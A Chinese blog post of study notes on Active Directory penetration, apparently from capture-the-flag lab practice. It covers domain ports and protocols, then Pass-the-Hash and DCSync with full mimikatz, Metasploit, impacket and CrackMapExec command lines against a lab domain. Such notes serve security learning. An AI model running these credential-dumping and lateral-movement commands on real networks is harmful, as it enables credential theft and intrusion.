域渗透基础

域基础知识

域常见常见协议/服务

协议/服务 默认端口 核心作用
DNS 53/TCP, UDP 域名解析、服务定位、记录查询
HTTP(S) 80/TCP;443/TCP Web服务、API、ADFS等
Kerberos 88/TCP, UDP 域认证协议,票据机制
NTP 123/UDP 时间同步
MS-RPC 135/TCP + 动态高位端口 Windows 远程过程调用基础框架,WMI/DCOM
NetBIOS 137/UDP, 138/UDP, 139/TCP 旧式名称解析、会话与共享支持
LDAP(S) 389/TCP, UDP;636/TCP 目录服务协议,管理用户、组、计算机等目录对象
SMB/CIFS 445/TCP;139/TCP 为兼容场景 文件共享、命名管道、IPC 通信
MSSQL 1433/TCP;1434/UDP 常见 数据库服务
Global Catalog(S) 3268/TCP;3269/TCP 林范围目录检索
RDP 3389/TCP 远程桌面协议
WinRM 5985/TCP;5986/TCP 远程管理协议,PowerShell远程控制

Active Directory 端口、服务、漏洞及工具

  • 端口 53(DNS)
    • 漏洞:DNS 缓存投毒、DNS 放大攻击、域成员定位、域控发现、数据外带等
    • 工具:nslookup,dig,dnsenum,Fierce,dnsrecon,dnstracer
  • 端口 88(Kerberos)
    • 漏洞:AS-REP Roasting、票据伪造、票据传递、Silver Ticket 攻击、Golden Ticket 攻击
    • 工具:impacket,Rubeus,Kerbrute,Hashcat,GetUserSPN,mitm6
  • 端口 135(MS-RPC)
    • 漏洞:DCOM 利用、MS-RPC 权限提升
    • 工具:rpcclient,Metasploit,NMap,PowerSploit,NetExec(CrackMapExec),Evil-WinRM
  • 端口 137-139(NetBIOS)
    • 漏洞:SMB 中继、NTLM 中继、NetBIOS 欺骗
    • 工具:smbclient,Responder,impacket,NMap,NetExec(CrackMapExec)
  • 端口 389(LDAP)
    • 漏洞:LDAP 注入、凭证收集、匿名绑定
    • 工具:ldapsearch,NMap,ldapdomaindump,NetExec(CrackMapExec),BloodHound,ADExplorer,Certipy
  • 端口 445(SMB)
    • 漏洞:EternalBlue、SMB 中继、SMB 签名未启用、哈希传递
    • 工具:smbclient,impacket,NMap,NetExec(CrackMapExec),Metasploit,smbmap
  • 端口 464(Kerberos 密码更改)
    • 漏洞:Kerberoasting、密码喷洒
    • 工具:impacket,Rubeus,Kerbrute,Hashcat,KrbRelayUp
  • 端口 593(HTTP RPC)
    • 漏洞:认证绕过、MS-RPC 注入
    • 工具:rpcclient,Metasploit,NMap,PowerSploit,Evil-WinRM,NetExec(CrackMapExec)
  • 端口 636(LDAPS)
    • 漏洞:LDAP 注入、证书伪造
    • 工具:ldapsearch,NMap,NetExec(CrackMapExec),BloodHound,ADExplorer
  • 端口 3268-3269(Global Catalog)
    • 漏洞:LDAP 注入、数据泄漏
    • 工具:ldapsearch,NMap,NetExec(CrackMapExec),BloodHound,ADExplorer
  • 端口 3389(RDP)
    • 漏洞:BlueKeep、弱加密、RDP 劫持、凭证转发
    • 工具:ncrack,xfreerdp,Metasploit,NetExec(CrackMapExec),rdpscan
  • 端口 5985-5986(WinRM)
    • 漏洞:凭证窃取、哈希传递、非约束性委派
    • 工具:Evil-WinRM,Impacket,NetExec(CrackMapExec),Metasploit,PowerView

参考:pentest/notes/AllAboutPentesting.md at main · ZishanAdThandar/pentest

协议对比

WMI/DCOM/MS-RPC

一句话概括:

WMI 远程管理通常依赖 DCOM,而 DCOM 又依赖 MS-RPC。

  1. MS-RPC

    MS-RPC = Microsoft Remote Procedure Call。

    它本质上是一套让一台机器调用另一台机器上“函数/过程”的通信机制,是很多 Windows 远程管理能力的基础设施。你可以把它理解成“底层通道/调用框架”。

  2. DCOM

    DCOM = Distributed Component Object Model。

    它本质上是COM 的分布式版本,用来让程序远程调用另一台机器上的 COM 对象

    而 DCOM 的远程通信不是自己重新发明一套协议,它通常就是跑在 RPC 之上。

    可以粗略理解成:RPC 解决“怎么远程调”,DCOM 解决“怎么远程调对象组件”

  3. WMI

    WMI = Windows Management Instrumentation。

    它本质上是Windows 提供的一套系统管理框架,可以查询和管理进程、服务、网络配置、计划任务、补丁、硬件信息、事件日志等等

    WMI 本身更像“管理接口/数据模型”。重点是:本地调用 WMI 不一定涉及网络,远程调用 WMI 时,传统方式通常使用 DCOM,所以远程 WMI 又会继续落到 RPC

    也就是:WMI → DCOM → MS-RPC

三者的关系图

1
2
3
4
5
WMI(管理功能/接口)

DCOM(远程对象调用)

MS-RPC(底层远程过程调用通信)

或者更形象一点:

1
2
3
4
你想做的事:查询远程机器上的系统信息
= 用 WMI 提出管理请求
= 通过 DCOM 把这个请求发到远端对象
= 由 MS-RPC 负责底层通信

SMB、WMI

  1. SMB(Server Message Block)

    SMB 就像是“局域网文件快递员”

    它是Windows电脑之间传文件、共享打印机、远程管理的一种“快递协议”。如果你在公司电脑上输入 \\共享电脑\共享文件夹,其实就是用的SMB协议。黑客渗透时常用这个“快递员”来远程投递木马、执行命令(比如psexec、smbexec等)。

    例子:你在公司电脑A上访问电脑B的共享文件夹,就是SMB在帮你传送文件。

  2. WMI(Windows Management Instrumentation)

    WMI 就像是“Windows的万能遥控器”

    它让你可以用命令远程控制Windows电脑,比如开关服务、查进程、执行命令等。管理员和运维可以批量用WMI查看电脑状态,黑客可以用它偷偷远程下指令,而且一般不会在目标电脑上留下“文件痕迹”。WMI背后其实是靠DCOM/RPC协议实现的。

    例子:你在一台电脑用WMI命令让另一台电脑重启,这就是WMI的“远程遥控”能力。

由此,再主要区分一下smbexec.py与wmiexec.py:

工具 协议/原理 留痕 适用性 回显方式 典型用途
smbexec.py SMB+服务 广 文件 横向、持久化
wmiexec.py WMI接口 稍低 命名管道 横向、隐蔽

smbexec适合常规横向批量打点,wmiexec适合目标环境安全策略较高或需低留痕场景

PTH

原理

Pass-the-Hash(PTH,哈希传递攻击)是一种经典的内网横向技术,攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码

pass the hash原理:

  • 在Windows系统中,通常会使用NTLM身份认证
  • NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
  • hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
  • 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)

这类攻击适用于:

  • 域/工作组环境
  • 可以获得hash,但是条件不允许对hash爆破
  • 内网中存在和当前机器相同的密码

微软也对pth打过补丁,然而在测试中发现,在打了补丁后,常规的Pass The Hash已经无法成功,唯独默认的Administrator(SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程ipc连接。

PTH攻击核心前提是目标服务未禁用NTLM认证。如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。

在现在的Windows系统中,通常使用NTLM身份认证,LM Hash一般在很老的机器上才会使用

Pasted image 20250223230214

利用

获取hash

有很多种方式,这里列举两种

方法一:使用 mimikatz 获取hash(最常用)

1
2
3
4
5
6
7
8
9
mimikatz.exe privilege::debug
mimikatz.exe sekurlsa::logonpasswords # 抓取保存的所有凭证(包括hash)


# msf有mimikatz的插件
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd "sekurlsa::logonpasswords"
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

方法二:使用 Metasploit 获取hash

首先需要先获取到一个session

1
2
3
4
meterpreter > hashdump # 导出hash,CS也有此命令

meterpreter > load kiwi # 加载mimiktaz模块
meterpreter > creds_all

creds_all 是 Meterpreter kiwi 扩展里的“总抓取”命令。它会自动调用 Mimikatz 的多个模块和命令,不仅仅是sekurlsa::logonpasswords,包括了如下内容:

  • sekurlsa::logonpasswords(抓内存中已登录用户的明文密码、hash、票据等)
  • lsadump::sam(本地用户的 NTLM hash)
  • lsadump::secrets(本地机密、服务密码等)
  • kerberos::list(Kerberos 票据)
  • 其他如 RDP、Wdigest、DPAPI 等相关凭据抓取

使用hash

PTH的常见工具/方式

工具/方式 协议 说明/用途
psexec.py SMB 经典横向,模拟PSEXEC,落地文件
smbexec.py SMB 类似psexec,落地文件但更隐蔽
wmiexec.py WMI/DCOM 无文件落地,适合隐蔽
atexec.py SMB/AT服务 利用计划任务at命令,落地文件
dcomexec.py DCOM 利用Dcom对象远控(如MMC、Shell),无文件落地
CrackMapExec SMB/WMI/WinRM等 多合一横向打击,支持PTH(WinRM需明文/票据)
  1. impacket 工具集

    Kali内置了impacket 工具集,这里我pipx又安装了一遍,所以有两种命令

    smbexec:类似psexec,上传脚本到共享后执行,支持PTH。(需要445或139端口开放)

    1
    2
    smbexec.py -hashes :<NTLM_HASH> [domain/]username@target
    proxychains4 impacket-smbexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7

    psexec:利用SMB协议模拟PSEXEC机制(上传批处理脚本并通过服务执行),最常用的PTH横向工具。(需要445或139端口开放)

    1
    2
    psexec.py -hashes :<NTLM_HASH> [domain/]username@target
    proxychains4 impacket-psexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7

    atexec:通过计划任务AT命令远程执行,支持PTH。(需要445或139端口开放,这个必须带上命令,类似CrackMapExec,单命令执行)

    1
    2
    atexec.py -hashes :<NTLM_HASH> [domain/]username@target command
    proxychains4 impacket-atexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7 whoami

    wmiexec:利用WMI/DCOM接口,较隐蔽,不落地文件,支持PTH。 ( 需要135端口开放)

    1
    2
    wmiexec.py -hashes :<NTLM_HASH> [domain/]username@target
    proxychains4 impacket-wmiexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7

    dcomexec:通过多种DCOM对象远程执行(如MMC、Shell),支持PTH。这里没试成,报 CO_E_RUNAS_LOGON_FAILURE。(需要135端口开放,如果报 CO_E_RUNAS_LOGON_FAILURE,多半是 Windows/组策略/DCOM配置限制)

    1
    2
    dcomexec.py -hashes :<NTLM_HASH> [domain/]username@target
    proxychains4 impacket-dcomexec -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7

    smbclient (需要445或139端口开放)

    1
    2
    smbclient.py -hashes :<NTLM_HASH> [domain/]username@target
    proxychains4 impacket-smbclient -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.7
  2. CrackMapExec(CME)

    多合一横向工具,支持批量横向和模块化利用,对SMB/WMI/WinRM等接口都可尝试。

    1
    2
    3
    4
    5
    # crackmapexec smb target -u username -H <NTLM_HASH> -d domain -x "whoami"
    proxychains crackmapexec smb 172.22.9.7 -u administrator -H 2f1b57eefb2d152196836b0516abea80 -d xiaorang.lab -x "type c:\users\administrator\flag\flag.txt"
    # nxc smb 172.22.9.7 -u administrator -p pass -x whoami
    # crackmapexec wmi 172.22.9.7 -u administrator -p pass -x "whoami"
    # crackmapexec winrm 172.22.9.7 -u administrator -p pass -x "ipconfig"
  3. mimikatz.exe

    msf上有这个工具的插件,load kiwi就行

    mimikatz sekurlsa::pth:本地伪造登录会话,直接用NTLM hash生成新会话(可配合runas、RDP、winrm等)。

    1
    2
    3
    # sekurlsa::pth /user:administrator /domain:xxx /ntlm:<NTLM_HASH>
    privilege::debug
    sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c

    mimikatz的pth功能需要本地管理员权限,这是由它的实现机制决定的,需要先获得高权限进程lsass.exe的信息

    对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash

  4. C2内置

    Metasploit模块:包含psexec/smb/WMIRemoteCommand等模块,都支持PTH。

    1
    2
    3
    4
    5
    6
    7
    8
    use exploit/windows/smb/psexec
    set RHOSTS 172.22.9.7
    set SMBUser administrator
    set SMBPass 00000000000000000000000000000000:2f1b57eefb2d152196836b0516abea80
    set SMBDomain xiaorang.lab
    set PAYLOAD windows/x64/meterpreter/bind_tcp
    set LPORT 54526
    run

    CS等内置PTH横向模块,可利用NTLM hash远控或横向。

参考文章:

PTH

浅探内网横向移动-Pass The Hash-先知社区

5.内网渗透之PTH&PTT&PTK - bmjoker - 博客园

DCsync

什么是 DCSync

DCSync 是一种利用微软AD协议(MS-DRSR)“模拟域控制器行为”,从域控制器同步账户哈希(包括krbtgt、管理员等敏感账户hash)的攻击技术。

我们先讲点前置知识:

默认情况下,域内不同域控(DC)每隔15分钟会进行一次数据同步。当有新的域控加入时,它也会向其他域控发起同步请求,根据需要同步数据的多少可能多次进行。

DCSync的原理就是利用域控制器之间的数据同步复制,通过目录复制服务(Directory Replication Service,DRS)的GetNCChanges接口向域控发起数据同步请求,以获得指定域控上的活动目录数据。目录复制服务也是一种用于在活动目录中复制和管理数据的RPC协议,该协议由两个RPC接口组成,分别是drsuapi和dsaop。

通俗易懂的讲,DCSync就是“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据。

由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式。它常用在横向渗透和提权场景,工具如 mimikatz 提供了 lsadump::dcsync 命令实现该功能(DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash)

利用条件

在默认情况下,只有

  • Domain Admins(域管理员)

  • Enterprise Admins(企业管理员,林级,通常也会在各域具备相应能力)

  • Administrators(内置本地/域 Administrators 组,通过组嵌套/默认 ACL 往往具备等效能力)

  • Domain Controllers(域控制器计算机账户所在的组/主体,即 Domain Controllers 组里的各 DC 的计算机账户)

  • Read-only Domain Controllers(如存在 RODC相关主体,具体取决于部署,但 RODC/复制拓扑相关主体通常也会有对应复制所需的权限集合)

等高权限账户才有DCSync操作的权限,从更细粒度的ACL层面来说,DCSync需要以下两个权限

  • 目录复制同步(Replicating Directory Changes)
  • 目录复制同步所有项(Replicating Directory Changes All)

所以我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。

注意:DCSync 攻击的对象如果是只读域控制器 (RODC),则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的。

我们以fscan的扫描结果为例

1
[+] MS17-010 172.22.1.21    (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)

可以看到我们这台机子是 enterprise 用户,也就是说满足 DCSync 攻击的条件

打法

尝试DCysnc获取哈希

1
2
3
4
5
6
7
# 可以用msf直接打
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit

# 或者上传mimikatz.exe,然后在目标机器上执行
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"

然后可以PTH或者制作黄金票据

参考文章:

域渗透中的DCSync技术分析 - 知乎

内网渗透测试:DCSync 攻击技术的利用 - FreeBuf网络安全行业门户


域渗透基础
http://example.com/2026/test45/
作者
sangnigege
发布于
2026年4月15日
许可协议